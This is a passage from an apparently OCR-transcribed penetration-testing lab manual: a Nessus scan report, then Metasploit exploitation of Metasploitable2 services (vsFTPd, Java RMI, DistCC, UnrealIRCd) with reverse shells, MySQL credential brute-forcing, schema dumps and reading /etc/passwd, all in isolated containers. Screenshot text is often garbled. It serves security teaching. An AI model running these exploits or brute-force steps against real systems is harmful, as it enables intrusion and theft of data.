~ < Back to Vulnerab
W My Scans
B Allscans
) Hosts 1 Vulnerabilities 63 Remediations | 3 VPR Top Threats (J History 1
@ Trash

[l UnreallRCd Backdoor Detection
@ Policies Description
@ Piugin Rules The remote IRC server is a version of UnreallRCd with a backdoor that allows an attacker to execute arbitrary code on

the affected host.

Solution
Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

See Also

https://seclists.org/fulldisclosure/2010/Jun/277

https://s ts.org/fulldisclosure/2010/un/284
http://www.unrealircd.com/txt/unrealsecadvisory. 20100612 txt

Tenable News

Wishpond Connect.js

Javascript Library Output
Prototype P...
The remote IRC
R uid=0(roct) gid=0(root)

Launch ¥ Report Export ¥
Plugin Details
Severity: Critical
ID: 46882
Version: 115
Type: remote
Family: Backdoors
Published: June 14, 2010
Modified: November 28, 2018

Risk Information

Risk Factor: Critical

CVSS v2.0 Base Score: 10.0

CVSS v2.0 Temporal Score: 8.3

CVSS v2.0 Vector: CVSSZ#AV:N/AC: L/AUN/C:C
JLC/AC

CVSS v2.0 Temporal Vector:
CV552#E:F/RL:OF/RC:C

Fig 3.20: Individual Vulnerability Analyze

To save the results of the scan, click on the “Report” button.

Nessus Essentials / Fold

QG https://10.10.10.5:8834/#/scans/reports/5/hosts

C5L_Test Scan 1 Configure  Audit Trail
- € Back to My Scans
W MyScans
W Allscans
) Hosts 1 Vulnerabilities 63 Remediations 3 VPR Top Threats O History 1
@ Trash

Filter ~

a Policies Host Vulnerabilities v
& PluginRules
@ rug 10.10.10.3 1B 17

Tenable News

Arris SurfBoard
SB8200 Insecure
Password Change
Ut...

Read More

Scan Details

Policy: Basic Network Scan
Status: Completed
Severity Base: CVSSv2.0

Scanner: Local Scanner
Start: Today at 6:24 PM
End: Today at 6:32 PM
Elapsed: 8 minutes

Vulnerabilities
" ® Critical
# High
Medium
Low
Infa

Fig 3.21: Generate Scan Report 1
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Now select the report format “HTML” and click the “Generate Report” button.

() Nessus Essentials / Folde x

C O & https//10.10.10.5:8834/#/scans/reports/5/hosts

Generate Report

Report Format: PDF '@ HTML sV

Select a Report Template:

Complete List of Vulnerabilities by Host
Detailed Vulnerabilities By Host
Detailed Vulnerabilities By Plugin
Vulnerability Operations

Template Description:
This report provides a summary list of vulnerabilities for each host
detected in the scan.

Filters Applied:
None

Save as default

Fig 3.22: Generate Scan Report 2

In the pop-up window, click the “OK” button to save and open the scan report in the Firefox

Browser.

) Nessus Essentials / Folde x

O G https://10.10.10.5:8834/#/scans/reports/5/hosts

CSL_Test_Scan_1

Configure Audit Trail Launch ~ Report Export ¥
<Ba My Scans
@ MyScans a
Opening CSL_Test_Scan_1_0wo00jk X
All S
- s Hosts 1 Vulnerab
@ Trash You have chosen to open:
Alter~ CSL_Test_Scan_1_0wo00jk.html
which is: HTML document
Q Folicies Host fromz hitp=//10:10.10.5:8834 Scan Details
Plugin Rul i
@ rlugin Rules 10.10.103 What should Firefox do with this file? Policy: Basic Network Scan
©Open with | Firefox Web Browser (default) v Status: Completed
Severity Base: CVSSv2.0
Save File
- Scanner: Local Scanner
Do this automatically for files like this from now on. Start: Today at 6:24 PM
End: Today at 6:32 PM
Elapsed: 8 minutes

Cancel oK

Tenable News

Four Questions to
Minimize the Cyber
Risk of Your ...

Read More

Vulnerabilities

" ® (Critical
‘ ® High
® Medium

Low
@ Info

Fig 3.23: Save Scan Report
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The summary of the scan appears first in the scan report. To get the detailed report, click
"Expand AIll." Clicking on the plugin of a vulnerability will show the details of that
vulnerability.

Nessus Essentials / Folde CSL_Test_Scan_1 X

(@] O Ffile:///tmp/mozilla_cslo/CSL_Test_Scan_1_fwj7yh.html w ® & =

( nessus B

CSVL_Test_Sca n_1

12:32:07 UTC

TABLE OF CONTENTS

Vulnerabilities by Host

Vulnerabilities by Host Collapse Al

10.10.10.3
CRITICAL HIGH MEDIUM Low INFO
Severity CVSSv20  Plugin Name
100 3385! Unix Operating System Unsupported Version Detection
10.0 46882 UnreallRGd Backdoor Detection
m 75 134862 Apache Tomcat AJP Connector Request Injection (Ghostcat)

Fig 3.24: Scan Report
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Chapter 4
Lab 02 - Exploiting Vulnerable Services by Metasploit

4.1 Overview
This lab exercise explores the use of the Metasploit tool by exploiting some vulnerable services

of Metasploitable2.

4.2 Background Information

Metasploit is the world's most popular open-source computer security testing framework, as
well as a platform for developing security tools and exploits. The various tools, libraries, user
interfaces, and modules of Metasploit allow a user to configure an exploit module, associate it
with a payload, point at a target, and launch at the target system. Metasploit's extensive
database includes numerous exploits and payloads that are being used to test security
vulnerabilities. A vulnerability is a weakness in a system that allows an attacker to reduce the
security posture of the system. An exploit is a piece of code that allows an attacker to take
advantage of a vulnerability within a system. A payload is a piece of code that is delivered by
the exploit and runs on the victim system.

Metasploit integrates with various security tools to identify the vulnerabilities of the targeted
system. Once the vulnerability is detected, it selects an exploit associated with a payload to
exploit the vulnerability. If the exploit is successful, the payload gets executed at the target
system, and the attacker gets a shell to interact with the payload. If the target system is restarted,
an attacker can also set up a persistent backdoor. Metasploit also offers a clean escape from the

compromised system.

Metasploit is preferred over other penetration testing tools because it allows users to view the
source code and create custom modules. Metasploit is simple to use when performing security

testing on a large network since it runs automated tests on all systems to find vulnerabilities.
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4.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

=1 csl@CsL: ~

:~% docker start victim_ 1
victim_1
:~$ docker attach victim 1

root@victim_1:/#

Fig 4.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

I+l @victim_1: f

root@victim_1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.18.3 for ServerName
OK
* Starting deferred execution scheduler atd (0].4
* Starting periodic command scheduler crond (0].4
Starting distccd
* Starting MysQL database server mysqld (0] 4
* Checking for corrupt, not cleanly closed and upgrade needing tables.
* Configuring network interfaces...
* Starting portmap daemon...
* Starting Postfix Mail Transport Agent postfix
* Starting PostgresSQL 8.3 database server
* Starting ftp server proftpd
Starting Samba daemons
starting network management services: snmpd.
snmpd[715]: error finding row index in _ifXTable_container_row_restore

* Starting OpenBSD Secure Shell server sshd

* Starting system log daemon...

* Starting Tomcat servlet engine tomcat5.5

* Starting internet superserver xinetd

* Doilng Wacom setup...

* Running local boot scripts (/etc/rc.local)
nohup: appending output te "nohup.out’
nohup: appending output toe “nohup.out’

root@victim_1:/# I

Fig 4.2: Start Necessary Services of the Victim Container
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Open another GNOME Terminal in the ubuntu machine and run the following commands to

start and attach the attacker container

docker start attacker_1

docker attach attacker_1

1 csl@csL: ~

docker start attacker_1

attacker_1

docker attach attacker 1

|

Fig 4.3: Start and Attach the Attacker Container

Step 2: Get the Network Information of the Attacker Container
Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: [

El e -[/]
ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1580
inet 10.10.10.2 netmask 255.255.255.248 broadcast 10.10.10.7
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @ dropped ® overruns @ frame 0
TX packets ® bytes 8 (0.0 B)
TX errors @ dropped ©@ overruns @ carrier @ collisions @

Fig 4.4: IP Address of the Attacker Container

To determine the gateway of the attacker container, run the “route -n” command.

root@attacker_1: /

[r—; QP -[/]

route -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.16.10.1 0.0.0.0 UG 0 0 0 ethe
10.10.10.0 0.0.0.0 255.255.255.248 U 0 0 0 etho

Fig 4.5: Gateway of the Attacker Container
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The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29
network, and its gateway is 10.10.10.1.

Step 3: Start Metasploit
Metasploit uses PostgreSQL as its database. By default, the PostgreSQL service is stopped in

the attacker container. Run the following command to start the PostgreSQL service.

service postgresql start

root@attacker_1: /

¥ e )-[/]
L_ service postgresqgl start
Starting PostgreSQL 14 database server: main.

oo @ )-1/1

Fig 4.6: Start PostgreSQL Service

Now create and initialize the “msf” database by running the following command.

msfdb init

root@attacker_1: /

{ ) -[f]

[j_ msfdb init
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down

Starting database
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down

Creating database user 'msf’

Creating databases 'msf’

( )

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
= https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: “t .hushlogin” to hide thi )
Creating databases 'msf_test'

( )

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
= https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(GULEIN : logi to hi thi
Creating configuration file '/fusr/share/metasploit-framework/config/database.yml"'
Creating initial database schema

,_—'ZI @ )-1/]

Fig 4.7: Create and Initialize the msf Database
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To clear the terminal of the attacker container run the “clear” command. Type “msfconsole”

and hit “Enter” to launch the interactive shell interface of Metasploit.

M~ root@attacker_1: /

[:_ msfconsole

1
1
1
1
1
1
1
1
1
1

=[ met v6.1.14-dev
-- --=[ 2188 ploits - 1155 auxiliary - 399 post
-- --=[ 592 payloads - 45 encoders - 10 nops
-- --=[ 9 evasion

Metasploit tip: Writing a custom module? After editing your
module, why not try the command

nsf6 >
Fig 4.8: The Interactive Shell Interface of Metasploit
Step 4: Exploiting Vulnerable Services
In Lab 1, it was revealed that the Metasploitable2 victim container has a large number of
vulnerable services. In this lab, Metasploitable2's vulnerable services vsFTPd, Java RMI,
MySQL, DistCC, UnrealIRCd, and Apache Tomcat will be exploited.

Exploiting Port 21 — vsFTPd

The vsFTPd(Very Secure FTP Daemon) service running on the Metasploitable2 container has
a vulnerability that can be used to gain a shell session on the system. This can be exploited by

using the “vsftpd_234 backdoor” exploit module of Metasploit.

Load the module and see the current settings by doing the following
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1 root@attacker_1: /

msf6 > use exploit/unix/ftp/vsftpd_234 backdoor
Using configured payload cmd/unix/interact
msf6 exploit( ) = options

Module options (exploit/unix/ftp/vsftpd_234_ backdoor):
Name Current Setting Required Description
The target host(s), see https://github.com/rapid7/metasploit
-framework/wiki/Using-Metasploit
RPORT 21 e The target port (TCP)
Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:
Id HName

<] Automatic

msfé exploit(

Fig 4.9: The “vsftpd 234 backdoor” Exploit Module

That remote port is already set to port 21. Follow the steps below to set the remote host and

run the module.

If a shell session opened run some system commands to verify if the victim container is

compromised.

root@attacker_1: /
) set RHOST 10.10.10.3
xploit( ) = exploit

10.10.10.3:21 Banner: 220 (vsFTPd 2.3.4)

10.10.10.3:21 USER: 331 Please specify the password.

10.10.10.3:21 Backdoor service has been spawned, handling...

16.10.10.3:21 UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (10.10.10.2:43695 -> 10.10.10.3:6200 ) at 2021-12-03 06:19:43 +0000

hostname
victim_1

whoami
root

uname -a
Linux victim_1 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 18:28:10 UTC 2021 XB6_64 GNU/Linux

head -10 /etc/passwd
:@:0:root:/root:/bin/bash
1:daemon: fusr/sbin:/bin/sh

sys:/dev:/bin/sh
:4:65534:sync: /bin: /bin/sync
60:games: fusrfgames: /bin/sh
12:man: /var/cache/man: /bin/sh
p:/var/spool/lpd:/bin/sh
:mail:/var/mail: /bin/sh
:9:news: /var/spool/news: /bin/sh

Fig 4.10: Test the “vsftpd 234 backdoor” Exploit Module
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Exploiting Port 1099 — GNU Classpath RMI Reqistry

GNU Classpath is a collection of essential libraries for supporting the Java programming
language. Metasploitable2 container runs a remote object registry for GNU Classpath using
default credentials which can be used to gain a shell session on the machine using the

“java_rmi_server” exploit module of Metasploit.

Load the module and see the current settings by doing the following

1 root@attacker_1: /
nsfé > use exploit/multi/misc/java_rmi_server
Using configured payload java/meterpreter/reverse_tcp
msfé exploit( ) = options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description

HTTPDELAY 10 Time that the HTTP Server will wait for the payload request

RHOSTS yes The target host(s), see https:/fgithub.com/rapid7/metasploit-framework
/wikifUsing-Metasploit

RPORT yes The target port (TCP)

SRVHOST yes The local host or network interface to listen on. This must be an addr
ess on the lecal machine or ©.0.8.8 to listen on all addresses.

SRVPORT yes The local port to listen on.

SSL no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 10.10.10.2 The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id HName

(6] Generic (Java Payload)

nsfo exploit(
Fig 4.11: The “java_rmi_server” Exploit Module
By default, the remote port, local host, local port, payload, and exploit target are all set. But,
instead of using the default payload, the “linux/x86/shell/reverse tcp” payload will be used and
the local host and the exploit target must be set again after setting the payload. Since the
Metasploitable2 container is a Linux container, the target will be “Linux x86.
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Follow the steps below to set all the required options to exploit the vulnerability.

[+l
msf6 e
RH S
mst6
payloa
msf6 e
LH
msf6 e

Exploi

a

After s

system

o
nsfé e

St

Se|
Col
10

hestnal
victim
whoami
root

LELE]
Linux

head -
root:

root@attacker_1: /

xploit( set RHOSTS 160.10.10.3

=> 10.10.10.3

ploit( ) set payleoad linux/x86/shell/reverse_tcp
d => linux/x86/shell/reverse_tcp

xploit( ) set LHOST 10.10.160.2

xploit( show targets
t targets:

Name

Generic (Java Payload)
Windows x86 (Native Payload)
Linux x86 (Native Payload)
Mac 0S X PPC (Native Payload)
Mac 0S X x86 (Native Payload)

set target 2

xploit(

Fig 4.12: Set Options of the “java_rmi_server” Exploit Module

etting all the required options, now run the module. If a shell session opened run some

commands to verify if the victim container is compromised.

root@attacker_1: /
xploit( ) = run

arted reverse TCP handler on 10.10.10.2:4444
.3:1699 - Using URL: http://0.0.0.0:8080/3jBQd7n64ThN
1099 - Local IP: http://10.108.10.2:8080/iBQd7n64ThN
099 server started.
o nding RMI Header...
.3:1099 - Sending RMI Call...
.3:1099 - Replied to request for paylead JAR
nding stage (36 bytes) to 10.10.16.3
mmand shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:34290 ) at 2021-12-05 07:06:38 +0000
.10.16.3:1099 - Server stopped.

me
1

-a
victim_1 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 18:20:10 UTC 2021 xB6_64 GNU/Linux

5 /etc/passwd
:@:root: froot:/bin/bash
1:daemon: fusr/sbin: /bin/sh
bin:/bin:/bin/sh
:3:3:sys:/dev:/bin/sh
:65534:sync:/bin: /bin/sync

Fig 4.13: Test the “java_rmi_server” Exploit Module

36



Exploiting Port 3306 — MySOL

MySQL is a free and open-source relational database management system. A relational
database organizes data into one or more data tables where data types can be associated with

one another. Metasploitable 2’s MySQL database has very negligible security

First, use “mysql_login” auxiliary module to brute force valid credentials of MY SQL database.

Load the module and see the current settings by doing the following

root@attacker_1: /

6 > use auxiliary/scanner/mysql/mysql_login
uxiliary( )} > options

Module options (auxiliary/scanner/mysql/mysgl_legin):

Name Current Setting Required Description

BLANK_PASSWORDS e Try blank passwords for all users
BRUTEFORCE_SPEED yes How fast to bruteforce, from ® to 5
DB_ALL_CREDS no Try each user/password couple stored in the current d
atabase
no Add all passwords in the current database to the list
no Add all users in the current database to the list
no Skip existing credentials stored in the current datab
ase (Accepted: none, user, user&realm)
no A specific password to authenticate with
no File contailning passwords, one per line
no A proxy chain of format type:host:port[,type:host:por
t]r...1
yes The target host(s), see https://github.com/rapid7/met
asploit-framework/wiki/Using-Metasploit
3306 The target port (TCP)
false Stop guessing when a credential works for a host
1 The number of concurrent threads (max one per host)
root A specific username to authenticate as
File containing users and passwords separated by spac
e, one pair per line
_AS_PASS false Try the username as the password for all users
USER_FILE File containing usernames, one per line
VERBOSE true Whether to print output for all attempts

msfé auxiliary(

Fig 4.14: The “mysql_login” Auxiliary Module
A list of users and a list of passwords are required to perform a brute force attack. A

“user_list.txt” and a “password_list.txt” file is already created in the “/home/Files/” directory.

To check the contents of the files, click on the “+” button of the attacker terminal and type the
following command and hit “Enter” to launch another new interactive shell of the attacker

container.
docker exec -it attacker_1 /bin/bash

Now run the following commands to see the contents of the “user-list login.txt” and

“password-list_login.txt” files.

cat /home/Files/user_list.txt

cat /home/Files/password_list.txt
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root@attacker_1: / Q

root@attacker_1: / root@attacker_1: /

:~5 docker exec -it attacker_1 /bin/bash

oo @ -1/1

[:_ cat fhome/Files/user_list.txt
root

admin

guest

user

test

msfadmin

postgres

Z -[/]
[:_ cat /home/Files/password_list.txt
rootpass
adminpass
guestpass
userpass
testpass
msfadmin
postgres

L ®

Fig 4.15: Contents of the “user_list.txt” and the “password _list.txt” file

Now go to the Metasploit terminal and follow the steps below to set the remote host, username

file, password file, and run the module.

root@attacker_1: / Q

root@attacker_1: / root@attacker_1: /

msf6 auxiliary( set RHOSTS 16.10.10.3
5 => 10.10.10.3
auxiliary( ) = set USER_FILE /home/Files/user_list.txt
FILE => fhome/Files/user_list.txt
auxiliary( ) > set PASS_FILE /home/Files/password_list.txt
FILE => fhome/Files/password_list.txt

auxiliary( ) = set verbose no
verbose => false
msf6 auxiliary( ) = run

10.10.10.3:3306 - 10.10.10.3:33086 - Success: 'root:’
10.160.10.3:3306 - 10.10.10.3:3306 - Success: 'guest:'
10.10.10.3:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( ) =

Fig 4.16: Test the “mysql_login” Auxiliary Module
The module tries every possible combination of usernames and passwords provided in the text
files. While attempting various combinations, it extracts some valid logins. So far, only “root”

and “guest” have been identified as valid logins, both of which have blank passwords.
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The “mysql_enum” module enumerates valuable information about the database. Load the

module and see the current settings of the module by doing the following

root@attacker_1: /

root@attacker_1: / root@attacker_1: /

> use auxiliary/admin/mysql/mysql_enum
auxiliary( ) = options

Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description

PASSWORD The password for the specified username

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-

framework /wiki/Using-Metasploit
RPORT 3306 The target port (TCP)
USERNAME The username to authenticate as

msfé auxiliary(

Fig 4.17: The “mysql_enum” Auxiliary Module

Follow the steps below to set the remote host, username, password, and run the module.

root@attacker_1: /

root@attacker_1: / root@attacker_1: [

msf6 auxiliary( ) set RHOSTS 10.10.10.3
STS => 10.10.10.3
msfe ) set USERNAME root
USERNAME => root
msf6 auxiliary( ) set PASSWORD ''
PASSWORD ==
msf6 auxiliary( ) run
Running module against 10.10.10.3

13306 Running MySQL Enumerator...

13306 Enumerating Parameters

13306 MySQL Version: 5.0.96-8ubuntu3

13306 Compiled for the following 05: debian-linux-gnu
13306 Architecture: 1486

13306 Server Hostname: victim_1

13306 Data Directory: /fvar/lib/mysql/

13306 Logging of queries and logins: OFF

13306 0ld Password Hashing Algerithm OFF

13306 Loading of local files: ON

13306 Deny logins with old Pre-4.1 Passwords: OFF
13306 Allow Use of symlinks for Database Files: YES
13306 Allow Table Merge: YES

13306 SSL Connection: DISABLED

13306 Enumerating Accounts:

13306 List of Accounts with Password Hashes:

13306 User: debian-sys-maint Host: Password Hash:
13306 User: root Host: Password Hash:

13306 User: guest Host: % Password Hash:

13306 The following users have GRANT Privilege:

13306 User: debian-sys-maint Host:

13306 User: root Host: %

13306 User: guest Host

13306 User: debian-sys-maint Host: localhost
13306 The following users have CREATE USER Privilege:
13306 User: root Host:

13306 User: guest Hos

o &
o2l
o0&
oz
o2l
oz
oz
ozl
o Z
oz
oz
o Z
.3
oz
.3
o0&
o &
o2l
o0&
oz
o2l
oz
oz
ozl
o Z
oz
oz
o Z

Fig 4.18: Test the “mysql_enum” Auxiliary Module

It enumerates information such as the version name, server hostname, data directory, SSL

connection state, and many more that the attacker may find useful.
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The “mysql_schemadump” module is used to dump database schema information. A schema

is nothing but a database’s blueprint, containing information on the database’s architecture as

well as organizational details such as the number of rows and columns. Load the module and

see the current settings of the module by doing the following

root@attacker_1: /

root@attacker_1: / Q

root@attacker_1: /

msfé > use auxiliary/scanner/mysql/mysql_schemadump

msfé auxiliary(

)

> options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

Name

Current Setting

DISPLAY_RESULTS

PASSWORD
RHOSTS

RPORT
THREADS
USERNAME

msfé auxiliary(

Required

Description

Display the Results to the Screen

The password for the specified username

The target host(s), see https://github.com/rapid7/me
tasploit-framework/wiki/Using-Metasploit

The target port (TCP)

The number of concurrent threads (max one per host)
The username to authenticate as

Fig 4.19: The “mysql_schemadump” Auxiliary Module

Follow the steps below to set the remote host, username, password, and run the module.

msf6 auxiliary(

root@attacker_1: /

RHOST => 10.10.10.3

msf6 auxiliary(
PASSWORD =>
msf6 auxiliary(

10.10.10.3:3306

633.txt

10.10.10.3:3306
Host: 10.10.10.3

Port: 3306

- DBName: dvwa
Tables:

- TableName: guestbook

Columns:

- ColumnName:
ColumnType:
ColumnName:
ColumnType:

- ColumnName:
ColumnType:

comment_1id

smallint(5) unsigned

comment
varchar(300)
name
varchar(100)

TableName: users

Columns:

ColumnName:
ColumnType:
ColumnName:
ColumnType:
ColumnName:
ColumnType:
- ColumnName:
ColumnType:
ColumnName:
ColumnType:
ColumnName:
ColumnType:

user_1id
int(6)
first_name
varchar(15)
last_name
varchar(15)

user
varchar(15)
password
varchar(32)
avatar
varchar(70)

root@attacker_1: /

) > set
) > set
) > set

) > run

- Schema stored in: /root/

- MySQL Server Schema

root@attacker_1: /
RHOST 10.10.10.3
USERNAME root

PASSWORD ''

.msf4/loot/20211204130608_default_10.10.10.3_mysql_schema_654

Fig 4.20: Test the “mysqgl_schemadump” Auxiliary Module
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The “mysql_sql” module is used to connect to the remote database and execute SQL

commands. Load the module and see the current settings of the module by doing the following

root@attacker_1: / Q

root@attacker_1: / root@attacker_1: /

msf6 > use auxiliary/admin/mysql/mysql_sql
msf6 auxiliary( ) = options

Module options (auxiliary/admin/mysql/mysql_sql):
Current Setting Required Description

The password for the specified username
yes The target host(s), see https://github.com/rapid7/metasploit
-framework/wiki/Using-Metasploit
RPORT 3306 yes The target port (TCP)
SQL select version() yes The SQL to execute.
USERNAME no The username to authenticate as

msf6 auxiliary(

Fig 4.21: The “mysql_sgl” Auxiliary Module
When connecting to a database, the most common command is “show databases” which

displays a list of all available databases. Follow the steps below to set the remote host,

username, password and SQL command and run the module.

root@attacker_1: /

root@attacker_1: / root@attacker_1: /

msfé auxiliary( set RHOSTS 10.16.10.3
RHOST 10.10.10.3
msf6 auxiliary( set USERNAME root
USERNAME => root

auxiliary( set PASSWORD "'

ORD

auxiliary( ) set sql show databases
sql => show databases
msf6 auxiliary( ) run

Running module against 10.10.10.3

3:3306 - Sending statement: 'show databases'...
3:3306 - infermation_schema |
3:3306 - dvwa |
.3:3306 - metasploit |
10.3:3306 - mysql |
3:3306 - owasple |
3:3306 - tikiwiki |
3:3306 - tikiwiki1195

iliary module execution completed
uxiliary( ) >

Fig 4.22: Test the “mysql_sql” Auxiliary Module 1
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Also, this module can be use to read the content of system files. To read the content of the

“/etc/passwd” file set the following SQL command and run the module.

set sl select load_file(\'/etc/passwd\')

root@attacker_1: /

root@attacker_1: / root@attacker_1: /

msf6 auxiliary( ) > set sql select load file(\'/etc/passwd\')
sql => select load_file('/etc/passwd')
msf6 auxiliary( ) > run

Running module against 10.10.10.3

10.10.10.3:3306 - Sending statement: 'select load_file('/etc/passwd')'...
160.10.10.3:3306 - | root:x:0:0:root:/root:/bin/bash
daemon: fusr/sbin:/bin/sh
:/bin: /bin/sh
ys:/dev: fbin/sh
65534:sync: /bin:/bin/sync
:60:games: fusrfgames: /bin/sh
:man: fvar fcache/man: /bin/sh
1p:/var/spool/lpd: fbin/sh
:8:mail: fvar/mail:/bin/sh
9:news: /var/spool/news: /bin/sh
:10:uucp: fvar/spool fuucp:/bin/sh
13:proxy:/bin:/bin/sh
33:33:www-data:/var/www: /bin/sh
%x:34:34:backup: /var/backups: /bin/sh
:38:Mailing List Manager:/var/list:/bin/sh
:ircd: /var/run/ircd: /bin/sh
1:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
65534:65534:nobody: /fnonexistent: /bin/sh
:100:101:: fvar/lib/1libuuid: /bin/sh
x:101:102:: /nonexistent: /bin/false
:1%:102:103:: /home/syslog: /bin/false
:x:103:104:: /home/klog: /bin/false
1X:104:65534:: /var/run/sshd: fusr/sbin/nologin
1000:1000:msfadmin,,,: /home/msfadmin: /bin/bash
113::/var /cache/bind: fbin/false
:106:115: : fvar /spool/postfix:/bin/false
5534:: /home/ftp:/bin/false

:118:MysQL Server,,,:/var/lib/mysql: /bin/false
usr/shareftomcat5.5: /bin/false
:/:/bin/false

Fig 4.23: Test the “mysql_sql” Auxiliary Module 2

Exploiting Port 3632 — DistCC

DistCCd is the server for the DistCC distributed compiler. It accepts and runs compilation jobs
for network clients. Metasploit has an exploit module for DistCC that can be used to get a shell

session of the victim container.

Use “distcc_exec” module to exploit DistCC. Load the module and see the current settings of

the module by doing the following.
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root@attacker_1: /

root@attacker_1: / root@attacker_1: /

> use exploit/unix/misc/distcc_exec
exploit( ) > options

Module options (exploit/unix/misc/distcc_exec):

Name Current Setting Required Description

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/

Using-Metasploit
RPORT 3632 The target port (TCP)
Exploit target:
Id Name

0 Automatic Target

msf6 exploit(

Fig 4.24: The “distcc_exec” Exploit Module

To exploit DistCC, the "cmd/unix/reverse” payload will be used, and since the reverse shell
payload will be used need to set the local host to run the module. Follow the steps below to set
the remote host, payload, local host, and to run the module.

If a shell session opened run some system commands to verify if the victim container is

compromised.

root@attacker_1: /

root@attacker_1: /

exploit( ) set RHO 10.16.16.3
S => 10.10.10.3
exploit( ) set paylead cmd/unix/reverse
payload => cmdfunix/reverse
) set LHOST 10.10.10.2

) run

Started reverse TCP double handler on 10.10.10.2:4444
Accepted the first client connection...

Accepted the second client connection...

Command: echo yiloHWESpFNXGCD8t;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket A

A: "sh: 1line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nyiloHWESpFNXGCD8t\r\n"
Matching...

B is input...

Command shell session 2 opened (10.10.10.2:4444 -> 10.10.10.3:36554 ) at 2021-12-04 20:22:57 +0000

hostname

victim_1 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 GNU/Linux

head -5 /fetc/passwd
oot:/root:fbin/bash
aemon: fusr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
:sys:/dev:/bin/sh
4:65534:sync: /bin: /bin/sync

Fig 4.25: Test the “distcc_exec” Module
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Exploiting Port 6667 — UnreallRCd

UnrealIRCd is an open-source IRC (Internet Relay Chat) daemon that uses the IRC protocol,

allows users to communicate with one another over the Internet. Metasploit has an exploit

module for UnrealIRCd that can be used to get a shell session of the victim container.

Use “unreal ircd 3281 backdoor” module to exploit UnrealIRCd. Load the module and see

the current settings of the module by doing the following.

root@attacker_1: /

root@attacker_1: / root@attacker_1: /

msf6 > use exploit/unix/ircfunreal ircd 3281 backdoor
msf6 exploit( ) = options

Module options (exploitjfunix/irc/funreal_ircd_3281_ backdoor):
Name Current Setting Required Description
RHOSTS e The target host(s), see https://github.com/rapid7/metasploit-framewo
rk/wiki/Using-Metasploit
RPORT 6667 £ The target port (TCP)
Exploit target:

Id Name

0 Automatic Target

msf6 exploit(

Fig 4.26: The “unreal ircd 3281 backdoor” Exploit Module

To exploit UnrealIRCd, the "cmd/unix/reverse" payload will be used, and since the reverse

shell payload will be used need to set the local host to run the module. Follow the steps below

to set the remote host, payload, local host, and to run the module.

If a shell session opened run some system commands to verify if the victim container is

compromised.
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rook@attacker_1: /

rook@attacker_1: / root@attacker_1: /
set RHOSTS 10.10.10.3
) set paylead cmd/unix/reverse
) set LHOST 10.10.10.2
) > run

Started reverse TCP double handler on 10.16.10.2:4444

10.10.10.3:6667 - Connected to 10.10.10.3:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*#** Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
10.10.10.3:6667 - Sending backdoor command...

Accepted the first client connection...

Accepted the second client connection...

Command: echo rb7qWKiNeIh9jnlx;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket A

A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nrb7qWKiNeIh9jnLx\r\n"
Matching...

B is input...

Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:36540 ) at 2021-12-04 20:09:35 +0000

hostname

Linux victim_1 5.11.0-41-generic #45-20.04.1-Ubuntu SMP Wed Nov 10 10:20:18 UTC 2021 x86_64 GNU/Linux

head -5 /etc/passwd
root:x:0:8:root: froot: /bin/bash
:1:daemon: fusr/sbin: /bin/sh
bin:/bin:/bin/sh
3:sys:/dev:/binfsh
sync:x:4:65534:sync:/bin: /bin/sync

Fig 4.27: Test the “unreal ircd 3281 backdoor” Exploit Module

Exploiting Port 8180 — Apache Tomcat

Apache Tomcat is a free and open-source implementation of Java technologies such as Java
Servlet, JSP, Java EL, and WebSocket. Apache Tomcat provides software to run Java applets
in the browser. Coyote is a stand-alone web server that provides servlets to Tomcat applets.

Metasploitable 2°s Apache Tomcat server has very negligible security.

First, use “tomcat_mgr_login” module to brute force valid credentials of the Apache Tomcat

server. Load the module and see the current settings of the module by doing the following.

45



root@attacker_1: /

> use auxiliary/scanner/http/tomcat_mgr_login

auxiliary(

